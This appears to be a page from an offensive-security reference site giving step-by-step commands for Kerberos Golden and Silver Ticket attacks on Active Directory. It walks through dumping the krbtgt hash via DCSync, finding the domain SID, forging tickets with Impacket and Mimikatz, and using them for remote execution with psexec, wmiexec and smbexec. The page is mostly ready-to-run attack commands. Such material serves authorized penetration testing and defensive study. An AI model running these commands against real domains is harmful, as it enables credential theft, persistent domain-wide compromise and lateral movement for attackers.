# Golden Ticket and Silver Ticket Attacks

> Forge Kerberos TGTs (Golden) or service tickets (Silver) using stolen KRBTGT or service account hashes to achieve persistent, stealthy AD access.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-07-01
- **Updated:** 2026-08-11

A Golden Ticket is a forged TGT signed with the `krbtgt` account's hash. Because the KDC trusts its own signature, the ticket is accepted as valid for any service in the domain, for any user, including non-existent ones (pre-November 2021 patches) or any existing user (post-patch). A Golden Ticket gives you persistent, domain-wide lateral movement for as long as the krbtgt password is unchanged.

A Silver Ticket is a forged TGS for a specific service, signed with the service account's hash. It bypasses the KDC entirely, the target host validates the ticket using its own account hash, with no KDC contact required. Silver Tickets are more surgical and harder to detect, but limited to a single host and service.

Both techniques are lateral movement and post-access persistence tools, not privilege escalation. You need DA or the relevant hashes first. Getting those is covered in the Post-Exploitation phase.

For using tickets once forged, see Pass-the-Ticket at [https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket).

## Golden Ticket: What You Need

- `krbtgt` NT hash (or AES key)
- Domain SID
- Domain FQDN
- A valid domain username to put on the ticket (required post-November 2021 patches)

## Getting the krbtgt Hash and Domain SID

With DA credentials via DCSync:

```bash
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt
```

The NT hash is the second field after `krbtgt:`:

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e6b43234ea2ce6d8bafa4b17c7b3790f:::

```

Get the domain SID:

```bash
impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$TARGET_IP | grep "Domain SID"
# [*] Domain SID is: S-1-5-21-2365897340-51848609-3160590671
#
```

## Forging a Golden Ticket with Impacket

```bash
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
```

This creates `Administrator.ccache` in the current directory. Use AES256 for stealth if you have the key:

```bash
impacket-ticketer -aesKey $KRBTGT_AES256 -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
```

Set the ticket and use it:

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass
impacket-wmiexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass
impacket-smbexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass
```

## Forging a Golden Ticket with Mimikatz

```bash
kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /id:500 /ptt
```

`/ptt` injects directly into memory. Drop `/ptt` and add `/ticket:golden.kirbi` to save to disk for later use.

## Silver Ticket: What You Need

- NT hash of the target service account or computer account
- Domain SID
- Domain FQDN
- Target SPN (service class and hostname)
- A valid domain username to impersonate

## Forging a Silver Ticket with Impacket

```bash
impacket-ticketer -nthash $SERVICE_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn cifs/$TARGET_HOSTNAME.$DOMAIN Administrator
```

Useful SPNs by access type:

- `cifs/$TARGET_HOSTNAME.$DOMAIN`: SMB file system access, psexec
- `http/$TARGET_HOSTNAME.$DOMAIN`: WinRM / PowerShell remoting
- `host/$TARGET_HOSTNAME.$DOMAIN`: PsExec shell
- `MSSQLSvc/$TARGET_HOSTNAME.$DOMAIN:1433`: SQL Server access
- `ldap/$TARGET_HOSTNAME.$DOMAIN`: LDAP / DCSync

Set and use the ticket the same way as a Golden Ticket:

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
```

## Forging a Silver Ticket with Mimikatz

```bash
kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_HOSTNAME.$DOMAIN /service:cifs /rc4:$SERVICE_HASH /id:500 /ptt
```

Despite using `kerberos::golden`, supplying `/target` and `/service` creates a Silver Ticket.

## Service Name Substitution (AnySPN)

Impacket attempts SPN substitution by default when using tickets, allowing a CIFS ticket to be swapped to HTTP for WinRM access. This is called AnySPN. If automatic substitution fails, use `impacket-getST -altservice` to request the ticket with an alternate service class directly.

## Ticket Lifetime

Tickets created by Impacket and Mimikatz default to 10-year lifetimes. For authorized engagements, limit the lifetime to match your engagement window to reduce risk:

```bash
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -duration 8 Administrator
```

`-duration` sets hours. Silver Tickets expire when the target computer account rotates its password (default every 30 days). Golden Tickets persist until the `krbtgt` password is changed.

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra ticketer.py and execution tools source and documentation.
- [Mimikatz](https://github.com/gentilkiwi/mimikatz) - Benjamin Delpy kerberos::golden and kerberos::silver module documentation.